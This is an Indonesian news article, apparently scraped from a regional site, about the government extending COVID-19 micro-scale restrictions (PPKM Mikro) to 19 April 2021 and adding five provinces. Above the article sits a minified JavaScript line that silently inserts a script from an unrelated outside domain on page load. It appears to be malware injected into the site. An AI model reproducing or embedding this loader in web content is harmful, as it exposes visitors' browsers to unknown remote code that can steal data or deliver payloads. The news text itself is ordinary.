(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Tambah Lima Daerah, Pemerintah Perpanjang PPKM Mikro hingga 19 April 2021


KANALKALIMANTAN.COM, JAKARTA– Pemerintah memutuskan untuk memperpanjang pemberlakuan pembatasan kegiatan masyarakat (PPKM) berbasis mikro selama dua minggu kedepan, yakni mulai dari 6 April sampai 19 April 2021.

Menteri Bidang Perekonomian Airlangga Hartarto mengatakan PPKM mikro kekinian sudah diperpanjang sebanyak lima kali.

“Pemerintah menambah dan memperpanjang PPKM tahap berikutnya atau tahap kelima untuk dua minggu kedepan,” ujar Airlangga usai mengikuti rapat internal terkait penanganan Covid-19 di Kantor Presiden, komplek Istana Kepresidenan Jakarta, Senin (5/4/2021).

Airlangga menuturkan, pemerintah juga menambahkan 5 daerah untuk dijadikan wilayah prioritas PPKM Mikro.

Kelima provinsi baru tambahan itu yakni Kalimantan Utara, Aceh, Sumatera Selatan, Riau dan Papua.

“Pemerintah memperbesar wilayah provinsi yang ikut PPKM. Dengan data yang ada, baik itu terkait dengan kasus sembuh, meninggal, aktif, kemudian kumulatif kasus, maka pemerintah menambahkan lima daerah lagi yaitu Kalimantan Utara, Aceh, Sumatera Selatan, Riau dan Papua. Sehingga totalnya ada 20 provinsi,” tutur dia.

Tak hanya itu, Airlangga menuturkan pemerintah akan memperkecil jaring di desa, RT dan RW.

“Kalau semula zona zona merahnya lebih dari 10 rumah, pemerintah sekarang memperkecil di atas lima rumah itu merah. Kemudian zona oranyenya 3 sampai 5 rumah, zona kuning 1 sampai 2 rumah dan tidak ada kasusnya dalam satu rumah atau tidak kasus kurang dari satu rumah itu berarti hijau,” ucap dia.

Hal tersebut kata Airlangga, dilakuakan untuk menekan penularan Covid-19.

“Kritera ini diperbaiki karena kita ingin melihat bahwa yang terkait dengan penularan covid bisa dicegah lagi,” katanya.

Sebelumnya pemberlakuan PPKM mikro di 15 provinsi yaitu DKI Jakarta, Banten, Jawa Barat, Jawa Tengah, DI Yogyakarta, Jawa Timur, Bali, Sumatera Utara, Kalimantan Timur, Sulawesi Selatan, Kalimantan Tengah, Sulawesi Utara, Nusa Tenggara Barat dan Nusa Tenggara Timur.(suara)

Editor: suara

 

 


Al Ghifari

Recent Posts

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

46 menit ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

3 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

3 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

15 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

17 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

22 jam ago

This website uses cookies.